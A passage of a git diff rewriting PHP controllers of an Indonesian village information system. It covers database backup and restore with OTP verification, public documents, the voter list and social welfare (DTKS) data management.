$data['persil'] = $this->data_persil_model->list_data(); + $data['persil_kelas'] = $this->data_persil_model->list_persil_kelas(); + + //pengaturan data untuk format cetak/ unduh + $data['file'] = 'Persil'; + $data['isi'] = 'data_persil/persil_cetak'; + //colspan tepi, colspan ttd pertama, colspan jarak ke ttd kedua + $data['letak_ttd'] = ['1', '2', '2']; + + $this->load->view('global/format_cetak', $data); + } + + public function area_map() + { + if (! $this->input->is_ajax_request()) { + exit('access restricted'); + } + + $this->load->model('plan_area_model'); + $id = $this->input->get('id'); + $data = $this->plan_area_model->get_area($id); + + return json([ + 'data' => $data, + 'status' => true, + ]); + } +} diff --git a/donjo-app/controllers/Database.php b/donjo-app/controllers/Database.php index 1abca51bb..6f6116bd4 100644 --- a/donjo-app/controllers/Database.php +++ b/donjo-app/controllers/Database.php @@ -1,481 +1,399 @@ -load->model(['ekspor_model', 'database_model']); + $this->load->helper('number'); + $this->load->library('OTP/OTP_manager', null, 'otp_library'); + $this->modul_ini = 'pengaturan'; + $this->sub_modul_ini = 'database'; + } + + public function index() + { + $data = [ + 'act_tab' => 1, + 'content' => 'database/backup', + 'form_action' => site_url('database/restore'), + 'size_folder' => byte_format(dirSize(DESAPATH)), + 'size_sql' => byte_format(getSizeDB()->size), + 'act_tab' => 1, + 'inkremental' => LogBackup::where('status', '<', 2)->latest()->first(), + 'restore' => LogRestoreDesa::where('status', '=', 0)->exists(), + 'memory_limit' => Arr::get($this->setting_model->cekKebutuhanSistem(), 'memory_limit.result'), + ]; + + $this->load->view('database/database.tpl.php', $data); + } + + public function migrasi_cri() + { + $data['form_action'] = site_url('database/migrasi_db_cri'); + + $data['act_tab'] = 2; + $data['content'] = 'database/migrasi_cri'; + $this->load->view('database/database.tpl.php', $data); + } + + public function migrasi_db_cri() + { + $this->redirect_hak_akses('u'); + session_error_clear(); + set_time_limit(0); // making maximum execution time unlimited + ob_implicit_flush(1); // Send content immediately to the browser on every statement which produces output + ob_end_flush(); + // Migrasi::where('versi_database', VERSI_DATABASE)->delete(); + $migrasiTerakhir = Migrasi::orderBy('id', 'desc')->first(); + if ($migrasiTerakhir) { + $migrasiTerakhir->delete(); + } + echo json_encode(['message' => 'Ulangi migrasi database versi ' . VERSI_DATABASE, 'status' => 0]); + $this->database_model->setShowProgress(1)->cek_migrasi(); + echo json_encode(['message' => 'Proses migrasi database telah berhasil', 'status' => 1]); + } + + public function exec_backup() + { + if (! Arr::get($this->setting_model->cekKebutuhanSistem(), 'memory_limit.result')) { + return show_404(); + } + + $this->ekspor_model->backup(); + } + + public function desa_backup() + { + $za = new FlxZipArchive(); + $za->read_dir(DESAPATH); + $za->download('backup_folder_desa_' . date('Y_m_d') . '.zip'); + } + + public function desa_inkremental() + { + if ($this->input->is_ajax_request()) { + return datatables(LogBackup::query()) + ->addIndexColumn() + ->make(); + } + + return view('admin.database.inkremental'); + } + + public function inkremental_job() + { + // cek tanggal + // job hanya bisa dilakukan 1 hari 1 kali + $now = Carbon::now()->format('Y-m-d'); + $last = LogBackup::where('status', '<', 2)->latest()->first(); + $lokasi = $this->input->post('lokasi'); + + if ($last != null && $now == $last->created_at->format('Y-m-d')) { + return json([ + 'status' => false, + 'message' => 'Anda sudah melakukan Backup inkremental hari ini', + ]); + } + + $process = new Process(['php', '-f', FCPATH . 'index.php', 'job', 'backup_inkremental', $lokasi]); + $process->disableOutput()->setOptions(['create_new_console' => true]); + $process->start(); + + return json([ + 'status' => true, + 'message' => 'Backup inkremental sedang berlangsung', + ]); + } + + public function inkremental_download() + { + $file = LogBackup::latest()->first(); + $file->update(['downloaded_at' => Carbon::now(), 'status' => 2]); + $za = new FlxZipArchive(); + $za->tmp_file = $file->path; + $za->download('backup_inkremental' . $file->created_at->format('Y_m-d') . '.zip'); + } + + public function restore() + { + $this->redirect_hak_akses('h'); + + if (config_item('demo_mode')) { + redirect($this->controller); + } + + $token = $this->setting->layanan_opendesa_token; + + try { + $this->session->success = 1; + $this->session->error_msg = ''; + $this->session->sedang_restore = 1; + $this->ekspor_model->restore(); + } catch (Exception $e) { + $this->session->success = -1; + $this->session->error_msg = $e->getMessage(); + } finally { + if ($this->input->post('hapus_token') == 'N') { + SettingAplikasi::where('key', 'layanan_opendesa_token')->update(['value' => $token]); + } + $this->session->sedang_restore = 0; + redirect('database'); + } + } + + // Dikhususkan untuk server yg hanya digunakan untuk web publik + public function acak() + { + $this->redirect_hak_akses('u'); + if ($this->setting->penggunaan_server != 6) { + return; + } + + $this->load->model('acak_model'); + echo $this->load->view('database/hasil_acak', '', true); + $hasil = $this->acak_model->acak_penduduk(); + $hasil = $hasil && $this->acak_model->acak_keluarga(); + echo $this->load->view('database/hasil_acak', '', true); + } + + // Digunakan untuk server yg hanya digunakan untuk web publik + public function mutakhirkan_data_server() + { + $this->redirect_hak_akses('u'); + $this->session->error_msg = null; + if ($this->setting->penggunaan_server != 6) { + return; + } + $this->load->view('database/ajax_sinkronkan'); + } + + public function proses_sinkronkan() + { + $this->redirect_hak_akses('u'); + $this->load->model('sinkronisasi_model'); + + $this->load->library('MY_Upload', null, 'upload'); + $this->upload->initialize([ + 'upload_path' => sys_get_temp_dir(), + 'allowed_types' => 'zip', + 'overwrite' => true, + 'file_name' => namafile('Sinkronisasi'), + ]); + + if (! $this->upload->do_upload('sinkronkan')) { + status_sukses(false, false, $this->upload->display_errors()); + redirect($_SERVER['HTTP_REFERER']); + } + + $upload = $this->upload->data(); + + $hasil = $this->sinkronisasi_model->sinkronkan($upload['full_path']); + status_sukses($hasil); + redirect($_SERVER['HTTP_REFERER']); + } + + public function batal_backup() + { + $this->load->library('job_prosess'); + // ambil semua data pid yang masih dalam prosess + $last_backup = LogBackup::where('status', '=', 0)->get(); + + foreach ($last_backup as $key => $value) { + $this->job_prosess->kill($value->pid_process); + $value->status = 3; + $value->save(); + } + redirect($this->controller); + } + + public function kirim_otp() + { + $method = $this->input->post('method'); + $this->session->kode_otp = null; + + if (! in_array($method, ['telegram', 'email'])) { + return json([ + 'status' => false, + 'message' => 'Metode tidak ditemukan', + ]); + } + + $user = User::when($method == 'telegram', static fn ($query) => $query->whereNotNull('telegram_verified_at')) + ->when($method == 'email', static fn ($query) => $query->whereNotNull('email_verified_at')) + ->first(); + + if ($user == null) { + return json([ + 'status' => false, + 'message' => "{$method} belum terverifikasi", + ]); + } + + try { + $token = hash('sha256', $raw_token = mt_rand(100000, 999999)); + $user->token = $token; + $user->token_exp = date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')); + $user->save(); + if ($method == 'telegram') { + $this->otp_library->driver('telegram')->kirim_otp($user->id_telegram, $raw_token); + } else { + $this->otp_library->driver('email')->kirim_otp($user->email, $raw_token); + } + + return json([ + 'status' => true, + 'message' => "OTP sudah Terkirim ke {$method}", + ]); + } catch (Exception $e) { + return json([ + 'status' => false, + 'messages' => $e->getMessage(), + ]); + } + } + + public function verifikasi_otp() + { + if ($this->input->post()) { + $otp = $this->input->post('otp'); + if ($this->cek_otp($otp)) { + $this->session->kode_otp = $otp; + + return json([ + 'status' => true, + 'message' => 'Verifikasi berhasil', + ]); + } + + return json([ + 'status' => false, + 'message' => 'Kode OTP Salah', + ]); + } + + show_404(); + } + + public function upload_restore() + { + if (! $this->cek_otp(bilangan($this->session->kode_otp))) { + return json([ + 'status' => false, + 'message' => 'Kode OTP Salah', + ]); + } + + $this->session->kode_otp = null; + $config = [ + 'upload_path' => sys_get_temp_dir(), + 'allowed_types' => 'zip', + 'file_ext' => 'zip', + 'max_size' => max_upload() * 1024, + 'check_script' => false, + ]; + $this->load->library('MY_Upload', null, 'upload'); + $this->upload->initialize($config); + + try { + if (! $this->upload->do_upload('file')) { + return json([ + 'status' => false, + 'message' => $this->upload->display_errors(null, null), + ]); + } + $uploadData = $this->upload->data(); + + $id = LogRestoreDesa::create([ + 'ukuran' => $uploadData['file_name'], + 'path' => $uploadData['full_path'], + 'restore_at' => date('Y-m-d H:i:s'), + 'status' => 0, + ])->id; + + $process = new Process(['php', '-f', FCPATH . 'index.php', 'job', 'restore_desa', $id]); + $process->disableOutput()->setOptions(['create_new_console' => true]); + $process->start(); + + return json([ + 'status' => true, + 'message' => 'upload file berhasil. restore dijalankan melalui job background', + ]); + } catch (Exception $e) { + return json([ + 'status' => false, + 'messages' => $e->getMessage(), + ]); + } + } + + public function batal_restore() + { + $this->load->library('job_prosess'); + // ambil semua data pid yang masih dalam prosess + $last_restore = LogRestoreDesa::where('status', '=', 0)->get(); + + foreach ($last_restore as $key => $value) { + $this->job_prosess->kill($value->pid_process); + $value->status = 3; + $value->save(); + } + redirect($this->controller); + } + + private function cek_otp($otp) + { + return User::where('id', '=', auth()->id) + ->where('token_exp', '>', date('Y-m-d H:i:s')) + ->where('token', '=', hash('sha256', bilangan($otp))) + ->exists(); + } +} diff --git a/donjo-app/controllers/Dokumen.php b/donjo-app/controllers/Dokumen.php index 158249050..9782c645f 100644 --- a/donjo-app/controllers/Dokumen.php +++ b/donjo-app/controllers/Dokumen.php @@ -1,473 +1,267 @@ -load->model('web_dokumen_model'); + $this->load->model('pamong_model'); + $this->load->helper('download'); + $this->modul_ini = 'sekretariat'; + $this->sub_modul_ini = 'informasi-publik'; + } + + public function clear() + { + unset($_SESSION['cari'], $_SESSION['filter']); + + redirect('dokumen'); + } + + public function index($kat = 1, $p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['kat'] = $kat; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['kat_nama'] = $this->web_dokumen_model->kat_nama($kat); + $data['paging'] = $this->web_dokumen_model->paging($kat, $p, $o); + $data['main'] = $this->web_dokumen_model->list_data($kat, $o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->web_dokumen_model->autocomplete(); + + $this->render('dokumen/table_dokumen', $data); + } + + public function form($kat = 1, $p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + $data['kat'] = $kat; + + if ($id) { + $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id); + $data['form_action'] = site_url("dokumen/update/{$kat}/{$id}/{$p}/{$o}"); + } else { + $data['dokumen'] = null; + $data['form_action'] = site_url('dokumen/insert'); + } + $data['kat_nama'] = $this->web_dokumen_model->kat_nama($kat); + $data['list_kategori_publik'] = $this->referensi_model->list_ref_flip(KATEGORI_PUBLIK); + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + + $this->render('dokumen/form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + $kat = $this->input->post('kategori'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + redirect("dokumen/index/{$kat}"); + } + + public function filter() + { + $filter = $this->input->post('filter'); + $kat = $this->input->post('kategori'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + redirect("dokumen/index/{$kat}"); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $_SESSION['success'] = 1; + $kat = $this->input->post('kategori'); + $outp = $this->web_dokumen_model->insert(); + if (! $outp) { + $_SESSION['success'] = -1; + } + redirect("dokumen/index/{$kat}"); + } + + public function update($kat, $id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + $_SESSION['success'] = 1; + $outp = $this->web_dokumen_model->update($id); + if (! $outp) { + $_SESSION['success'] = -1; + } + redirect("dokumen/index/{$kat}/{$p}/{$o}"); + } + + public function delete($kat = 1, $p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "dokumen/index/{$kat}/{$p}/{$o}"); + $this->web_dokumen_model->delete($id); + redirect("dokumen/index/{$kat}/{$p}/{$o}"); + } + + public function delete_all($kat = 1, $p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "dokumen/index/{$kat}/{$p}/{$o}"); + $this->web_dokumen_model->delete_all(); + redirect("dokumen/index/{$kat}/{$p}/{$o}"); + } + + public function dokumen_lock($kat = 1, $id = '') + { + $this->redirect_hak_akses('u'); + $this->web_dokumen_model->dokumen_lock($id, 1); + redirect("dokumen/index/{$kat}/{$p}/{$o}"); + } + + public function dokumen_unlock($kat = 1, $id = '') + { + $this->redirect_hak_akses('u'); + $this->web_dokumen_model->dokumen_lock($id, 2); + redirect("dokumen/index/{$kat}/{$p}/{$o}"); + } + + public function dialog_cetak($kat = 1) + { + $data['form_action'] = site_url("dokumen/cetak/{$kat}"); + $data['kat'] = $kat; + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + $data['tahun_laporan'] = $this->web_dokumen_model->list_tahun($kat); + $this->load->view('dokumen/dialog_cetak', $data); + } + + public function cetak($kat = 1) + { + $data = $this->data_cetak($kat); + $template = $data['template']; + $this->load->view("dokumen/{$template}", $data); + } + + private function data_cetak($kat) + { + // Agar tidak terlalu banyak mengubah kode, karena menggunakan view global + $ttd = $this->modal_penandatangan(); + $data['pamong_ttd'] = $this->pamong_model->get_data($ttd['pamong_ttd']->pamong_id); + $data['pamong_ketahui'] = $this->pamong_model->get_data($ttd['pamong_ketahui']->pamong_id); + + $post = $this->input->post(); + $data['main'] = $this->web_dokumen_model->data_cetak($kat, $post['tahun'], $post['jenis_peraturan']); + $data['input'] = $post; + $data['kat'] = $kat; + $data['tahun'] = $post['tahun']; + $data['desa'] = $this->header['desa']; + if ($kat == 1) { + $data['kategori'] = 'Informasi Publik'; + } else { + $list_kategori = $this->web_dokumen_model->list_kategori(); + $data['kategori'] = $list_kategori[$kat]; + } + if ($kat == 2) { + $data['template'] = 'sk_kades_print'; + } elseif ($kat == 3) { + $data['template'] = 'perdes_print'; + } else { + $data['template'] = 'dokumen_print'; + } + + return $data; + } + + public function dialog_excel($kat = 1) + { + $data['form_action'] = site_url("dokumen/excel/{$kat}"); + $data['kat'] = $kat; + $data['jenis_peraturan'] = $this->referensi_model->jenis_peraturan_desa(); + $data['tahun_laporan'] = $this->web_dokumen_model->list_tahun($kat); + $this->load->view('dokumen/dialog_cetak', $data); + } + + public function excel($kat = 1) + { + $data = $this->data_cetak($kat); + $this->load->view('dokumen/dokumen_excel', $data); + } + + /** + * Unduh berkas berdasarkan kolom dokumen.id + * + * @param int $id_dokumen Id berkas pada koloam dokumen.id + * @param mixed|null $id_pend + * @param mixed $tampil + * + * @return void + */ + public function unduh_berkas($id_dokumen, $id_pend = null, $tampil = false) + { + // Ambil nama berkas dari database + $data = $this->web_dokumen_model->get_dokumen($id_dokumen, $id_pend); + ambilBerkas($data['satuan'], $this->controller, null, LOKASI_DOKUMEN, $tampil); + } + + public function tampilkan_berkas($id_dokumen, $id_pend = null) + { + $this->unduh_berkas($id_dokumen, $id_pend, $tampil = true); + } +} diff --git a/donjo-app/controllers/Dokumen_web.php b/donjo-app/controllers/Dokumen_web.php index 3d5cac508..ff451d410 100644 --- a/donjo-app/controllers/Dokumen_web.php +++ b/donjo-app/controllers/Dokumen_web.php @@ -1,505 +1,77 @@ -load->model('web_dokumen_model'); + + // Ambil nama berkas dari database + $berkas = $this->web_dokumen_model->get_nama_berkas($id_dokumen); + ambilBerkas($berkas, null, null, LOKASI_DOKUMEN); + } + + public function tampil($slug = null) + { + $slug = decrypt($slug); + $part = explode('/', $slug); + $nama_file = end($part); + $lokasi_file = str_replace($nama_file, '', $slug); + + return ambilBerkas($nama_file, null, null, $lokasi_file, true); + } + + public function unduh($slug = null) + { + $slug = decrypt($slug); + $part = explode('/', $slug); + $nama_file = end($part); + $lokasi_file = str_replace($nama_file, '', $slug); + + return ambilBerkas($nama_file, null, null, $lokasi_file); + } +} diff --git a/donjo-app/controllers/Dpt.php b/donjo-app/controllers/Dpt.php index 187aed235..1adca641d 100644 --- a/donjo-app/controllers/Dpt.php +++ b/donjo-app/controllers/Dpt.php @@ -1,441 +1,194 @@ -load->model(['penduduk_model', 'dpt_model', 'wilayah_model']); + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'calon-pemilih'; + $this->set_page = ['50', '100', '200', [0, 'Semua']]; + $this->list_session = ['cari', 'sex', 'dusun', 'rw', 'rt', 'tanggal_pemilihan', 'umurx', 'umur_min', 'umur_max', 'cacatx', 'menahunx', 'pekerjaan_id', 'status', 'agama', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', 'tag_id_card']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } else { + $data[$list] = $this->session->{$list} ?: ''; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $list_data = $this->dpt_model->list_data($o, $p); + $data['paging'] = $list_data['paging']; + $data['main'] = $list_data['main']; + $data['list_jenis_kelamin'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['keyword'] = $this->dpt_model->autocomplete(); + + $this->render('dpt/dpt', $data); + } + + public function filter($filter) + { + if ($filter == 'dusun') { + $this->session->unset_userdata(['rw', 'rt']); + } + if ($filter == 'rw') { + $this->session->unset_userdata('rt'); + } + + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } + + public function ajax_adv_search() + { + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $data['input_umur'] = true; + $data['list_agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['list_pendidikan'] = $this->referensi_model->list_data('tweb_penduduk_pendidikan'); + $data['list_pendidikan_kk'] = $this->referensi_model->list_data('tweb_penduduk_pendidikan_kk'); + $data['list_pekerjaan'] = $this->referensi_model->list_data('tweb_penduduk_pekerjaan'); + $data['list_status_kawin'] = $this->referensi_model->list_data('tweb_penduduk_kawin'); + $data['list_status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + $data['list_tag_id_card'] = StatusEnum::all(); + $data['form_action'] = site_url("{$this->controller}/adv_search_proses"); + + $this->load->view('sid/kependudukan/ajax_adv_search_form', $data); + } + + public function adv_search_proses() + { + $adv_search = $_POST; + $i = 0; + + while ($i++ < count($adv_search)) { + $col[$i] = key($adv_search); + next($adv_search); + } + $i = 0; + + while ($i++ < count($col)) { + if ($adv_search[$col[$i]] == '') { + unset($adv_search[$col[$i]], $_SESSION[$col[$i]]); + } else { + $_SESSION[$col[$i]] = $adv_search[$col[$i]]; + } + } + + redirect($this->controller); + } + + public function cetak($page = 1, $o = 0, $aksi = '', $privasi_nik = 0) + { + $data['main'] = $this->dpt_model->list_data($o, $page)['main']; + $data['aksi'] = $aksi; + if ($privasi_nik == 1) { + $data['privasi_nik'] = true; + } + $this->load->view("dpt/dpt_{$aksi}", $data); + } + + public function ajax_cetak($page = 1, $o = 0, $aksi = '') + { + $data['o'] = $o; + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}"); + $data['form_action_privasi'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}/1"); + + $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data); + } +} diff --git a/donjo-app/controllers/Dtks.php b/donjo-app/controllers/Dtks.php index 570508da2..f5752d0d0 100644 --- a/donjo-app/controllers/Dtks.php +++ b/donjo-app/controllers/Dtks.php @@ -1,449 +1,531 @@ -modul_ini = 'satu-data'; + $this->sub_modul_ini = 'dtks'; + } + + /** + * proses singkronisasi jumlah anggota dtks dengan anggota keluarga yg berubah + * + * @param mixed $rtm + */ + protected function syncDtksRtm($rtm) + { + $semua_anggota = Penduduk::without([ + 'jenisKelamin', + 'agama', + 'pendidikan', + 'pendidikanKK', + 'pekerjaan', + 'wargaNegara', + 'golonganDarah', + 'cacat', + 'statusKawin', + 'pendudukStatus', + 'wilayah', + ]) + ->select('id', 'nama', 'id_rtm', 'rtm_level', 'id_kk', 'kk_level') + ->whereIn('id_rtm', $rtm->pluck('no_kk')) + ->get(); + $semua_dtks = ModelDtks::select('id', 'id_rtm', 'id_keluarga', 'versi_kuisioner') + ->withCount('dtksAnggota') + ->whereIn('id_rtm', $rtm->pluck('id')) + ->get(); + + foreach ($rtm as $item) { + $dtks_rtm = $semua_dtks->where('id_rtm', $item->id); + + if ($dtks_rtm->count() != 0) { + $jumlah_dtks_anggota = $dtks_rtm->reduce(static function ($carry, $item) { + return $carry + $item->dtks_anggota_count; + }); + $jumlah_anggota_rt = $semua_anggota->where('id_rtm', $item->no_kk)->count(); + + if ($jumlah_anggota_rt != $jumlah_dtks_anggota) { + foreach ($dtks_rtm as $dtks) { + if ($dtks->versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + return (new DTKSRegsosEk2022k())->generateDefaultDtks($dtks); + } + } + } + } + } + } + + public function index() + { + $data['rtm'] = Rtm::with([ + 'kepalaKeluarga' => static function ($builder) { + $builder->select('id', 'nama', 'nik'); + $builder->without([ + 'jenisKelamin', + 'agama', + 'pendidikan', + 'pendidikanKK', + 'pekerjaan', + 'wargaNegara', + 'golonganDarah', + 'cacat', + 'statusKawin', + 'pendudukStatus', + 'wilayah', + ]); + }, + ]) + ->where('terdaftar_dtks', 1) + ->get(); + + $this->syncDtksRtm($data['rtm']); + + return view('admin.dtks.index', $data); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + $rtm = (new Rtm())->getTable(); + $keluarga = (new Keluarga())->getTable(); + $penduduk = (new Penduduk())->getTable(); + $wilayah = (new Wilayah())->getTable(); + // = + $join = DB::table('dtks') + ->select( + 'dtks.id', + 'dtks.id_rtm', + 'dtks.id_keluarga', + 'is_draft', + 'versi_kuisioner', + 'dtks.updated_at', + 'nama_petugas_pencacahan', + 'nama_responden', + 'nama_ppl' + ) + ->addSelect('krt.nik as nik_krt', 'krt.nama as nama_krt', 'kk.nik as nik_kk', 'kk.nama as nama_kk') + ->addSelect('wil_krt.dusun as dusun_krt', 'wil_krt.rt as rt_krt', 'wil_krt.rw as rw_krt', 'wil_kk.dusun as dusun_kk', 'wil_kk.rt as rt_kk', 'wil_kk.rw as rw_kk') + ->addSelect(DB::raw("(SELECT COUNT(DISTINCT(a.id_kk)) FROM {$penduduk} AS a WHERE rtm.no_kk = a.id_rtm ) as `keluarga_count`")) + ->addSelect(DB::raw('(SELECT COUNT(*) FROM dtks_anggota WHERE dtks.id = dtks_anggota.id_dtks) as `anggota_count`')) + ->join($rtm . ' AS rtm', 'rtm.id', '=', 'dtks.id_rtm') + ->join($keluarga . ' AS keluarga', 'keluarga.id', '=', 'dtks.id_keluarga') + ->join($penduduk . ' AS krt', 'rtm.nik_kepala', '=', 'krt.id') + ->join($penduduk . ' AS kk', 'keluarga.nik_kepala', '=', 'kk.id') + ->join($wilayah . ' AS wil_krt', 'krt.id_cluster', '=', 'wil_krt.id') + ->join($wilayah . ' AS wil_kk', 'kk.id_cluster', '=', 'wil_kk.id') + ->where('dtks.config_id', identitas('id')); + + $case_sql = static function (&$query, $keyword, $fields = [DtksEnum::REGSOS_EK2022_K => ''], $operator = 'LIKE') { + $sql = '(versi_kuisioner = ' . DtksEnum::REGSOS_EK2022_K . ' AND ' . $fields[DtksEnum::REGSOS_EK2022_K] . ' ' . $operator . ' ?)'; + $binding = ["%{$keyword}%"]; + + return $query->whereRaw($sql, $binding); + }; + $add_column = static function (&$row, $fields = [DtksEnum::REGSOS_EK2022_K => '']) { + if ($row->versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + return $row->{$fields[DtksEnum::REGSOS_EK2022_K]}; + } + }; + + return datatables()->of($join) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + // $aksi .= 'id}") . '" class="btn bg-purple btn-flat btn-sm" title="Rincian Data">'; + if (can('u')) { + $aksi .= ' id}") . '" class="btn btn-warning btn-sm" title="Lihat & Ubah Data"> '; + $aksi .= '  '; + } + + return $aksi; + }) + ->addColumn('dusun', static function ($row) use ($add_column) { + return $add_column($row, [DtksEnum::REGSOS_EK2022_K => 'dusun_krt']); + }) + ->filterColumn('dusun', static function ($query, $keyword) use ($case_sql) { + return $case_sql($query, $keyword, [DtksEnum::REGSOS_EK2022_K => 'wil_krt.dusun']); + }) + ->addColumn('rt', static function ($row) use ($add_column) { + return $add_column($row, [DtksEnum::REGSOS_EK2022_K => 'rt_krt']); + }) + ->filterColumn('rt', static function ($query, $keyword) use ($case_sql) { + return $case_sql($query, $keyword, [DtksEnum::REGSOS_EK2022_K => 'wil_krt.rt']); + }) + ->addColumn('rw', static function ($row) use ($add_column) { + return $add_column($row, [DtksEnum::REGSOS_EK2022_K => 'rw_krt']); + }) + ->filterColumn('rw', static function ($query, $keyword) use ($case_sql) { + return $case_sql($query, $keyword, [DtksEnum::REGSOS_EK2022_K => 'wil_krt.rw']); + }) + ->addColumn('petugas', static function ($row) use ($add_column) { + return $add_column($row, [DtksEnum::REGSOS_EK2022_K => 'nama_ppl']); + }) + ->addColumn('responden', static function ($row) { + return $row->nama_responden; + }) + ->addColumn('versi_kuisioner', static function ($row) { + return DtksEnum::VERSION_LIST[$row->versi_kuisioner]; + }) + ->filterColumn('versi_kuisioner', static function ($query, $keyword) { + }) + ->rawColumns(['ceklist', 'aksi']) + ->toJson(); + } + + return show_404(); + } + + public function listAnggota($id_dtks) + { + $this->syncDtksRtm(Rtm::where('terdaftar_dtks', 1)->get()); + $data['anggota'] = DtksAnggota::with([ + 'penduduk' => static function ($builder) { + $builder->select('id', 'nama', 'nik'); + $builder->without([ + 'jenisKelamin', + 'agama', + 'pendidikan', + 'pendidikanKK', + 'pekerjaan', + 'wargaNegara', + 'golonganDarah', + 'cacat', + 'statusKawin', + 'pendudukStatus', + 'wilayah', + ]); + }, + ]) + ->select('id', 'id_dtks', 'id_penduduk') + ->where('id_dtks', $id_dtks) + ->get(); + + return view('admin.dtks.list_anggota', $data); + } + + public function loadRecentInfo() + { + try { + if (DtksEnum::VERSION_CODE == DtksEnum::REGSOS_EK2022_K) { + return (new DTKSRegsosEk2022k())->info(); + } + } catch (\Throwable $th) { + echo 'File info tidak ditemukan'; + } + } + + public function loadRecentImpor() + { + try { + if (DtksEnum::VERSION_CODE == DtksEnum::REGSOS_EK2022_K) { + return (new DTKSRegsosEk2022k())->impor(); + } + } catch (\Throwable $th) { + echo 'File info tidak ditemukan'; + } + } + + public function ekspor() + { + $versi_kuisioner = $this->input->get('versi'); + if ($versi_kuisioner == DtksEnum::REGSOS_EK2021_RT) { + redirect_with('error', 'Proses versi tidak ditemukan', route('dtks')); + } elseif ($versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + return (new DTKSRegsosEk2022k())->ekspor(); + } else { + redirect_with('error', 'Versi tidak ditemukan', route('dtks')); + } + } + + public function cetak2($id = null) + { + $ids = $this->request['id'] ?? []; + + $dtks = ModelDtks::whereIn('id', $ids) + ->orWhere('id', $id) + ->get(); + + if ($dtks->count() == 0) { + if ($this->input->is_ajax_request()) { + return json(['message' => 'Data terpilih tidak ditemukan'], 404); + } + redirect_with('error', 'Data terpilih tidak ditemukan', $_SERVER['HTTP_REFERER']); + } elseif ($dtks->count() == 1) { + // lempar ke halaman baru tanpa ajax, (dilakukan oleh js) + if ($this->input->is_ajax_request()) { + return json(['message' => 'Mengunduh 1 data', 'href' => route('dtks/cetak2/' . $dtks->first()->id)], 200); + } + } + + if ($dtks->count() == 1) { + $versi_kuisioner = $dtks->first()->versi_kuisioner; + if ($versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + return (new DTKSRegsosEk2022k())->cetakPreviewSingle($dtks->first()); + } + } else { + $dtks = $dtks->groupBy('versi_kuisioner'); + + // create each zip versi + $list_path = []; + + foreach ($dtks as $versi_kuisioner => $item) { + if ($versi_kuisioner == DtksEnum::REGSOS_EK2022_K) { + $paths = (new DTKSRegsosEk2022k())->cetakZip($item); + $list_path = $list_path + $paths; + } + } + // simpan + $list_path_to_zip = collect($list_path); + $list_path = collect($list_path)->transform(static function ($item, $key) { + return ['id' => $item['id'], 'status_file' => $item['status_file']]; + }); + + $proses_belum_selesai = $list_path->where('status_file', 0); + + if ($proses_belum_selesai->count() > 0) { + return json(['message' => 'Proses Data', 'list' => $list_path], 200); + } + if ($this->input->is_ajax_request()) { + return json(['message' => 'Download', 'list' => $list_path], 200); + } + + if ($list_path_to_zip->count() != 0) { + $this->load->library('zip'); + + foreach ($list_path_to_zip as $item) { + $this->zip->read_file($item['file']); + } + $this->zip->download('berkas_dtks_regsosek_terpilih_' . date('d-m-Y') . '.zip'); + } + } + } + + public function new($id_rtm = 'A') + { + $id_rtm = ($id_rtm == 'A') ? bilangan($this->request['id_rtm']) : bilangan($id_rtm); + + 